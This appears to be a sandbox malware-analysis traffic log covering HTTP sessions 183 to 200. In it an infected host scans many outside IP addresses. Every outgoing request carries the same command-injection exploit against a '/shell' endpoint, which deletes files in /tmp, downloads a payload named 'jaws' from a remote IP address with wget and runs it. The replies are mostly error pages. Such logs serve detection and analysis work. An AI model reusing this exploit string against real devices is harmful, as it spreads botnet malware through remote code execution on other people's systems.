Jan 2, 2024 06:24:17.117268085 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:16Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	33044	20.94.161.145	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.563870907 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	48452	173.255.250.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.602391005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:17.772706032 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Tue, 02 Jan 2024 05:24:17 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	40002	52.222.57.83	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.613377094 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	35188	62.202.156.241	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.662475109 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	52908	91.194.11.191	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.758398056 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:17.914313078 CET	474	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 62 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: b2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	46628	172.245.174.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.912872076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.067378998 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:17 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	57882	50.19.25.188	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.916928053 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.076217890 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:18 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	48736	193.233.164.237	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:17.936240911 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.175506115 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:18 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	56304	23.198.222.192	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.028834105 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.299593925 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:18 GMT Date: Tue, 02 Jan 2024 05:24:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 30 66 62 64 32 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 35 38 26 23 34 36 3b 64 61 63 62 62 30 39 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.50fbd217.1704173058.dacbb099</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	37694	85.221.227.124	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.042373896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	50126	37.32.125.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.097501040 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.402854919 CET	443	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 337 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 45 32 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTE2</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	58488	89.116.58.162	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.153620958 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.414053917 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 02 Jan 2024 05:24:18 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	40724	23.77.132.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.209402084 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.506181002 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:18 GMT Date: Tue, 02 Jan 2024 05:24:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 64 31 64 64 30 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 35 38 26 23 34 36 3b 32 64 39 62 31 35 37 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ad1dd017.1704173058.2d9b157d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	47340	186.132.17.223	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.726815939 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.010334015 CET	424	IN	Data Raw: 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 63 72 6f 5f 68 74 74 70 64 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 Data Ascii: 157.90.250.90/jaws;sh+/tmp/jaws 400 Bad RequestServer: micro_httpdDate: Tue, 02 Jan 2024 05:24:16 GMTConnection: keep-aliveKeep-Alive: timeout=60, max=1000Content-Type: text/htmlContent-Security-Policy: default-src 'self'; frame-an

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	35930	106.14.41.174	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.753228903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.059973001 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:24:18 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	36660	91.242.215.204	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.756077051 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.066818953 CET	408	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.4.5 Date: Tue, 02 Jan 2024 05:24:18 GMT Content-Type: text/html Content-Length: 194 Connection: keep-alive WWW-Authenticate: Basic realm="Secure Zone" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 34 2e 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.4.5</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	45228	103.204.176.205	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:18.853607893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.260917902 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Tue, 02 Jan 2024 05:24:19 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	55282	69.80.206.87	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.154383898 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
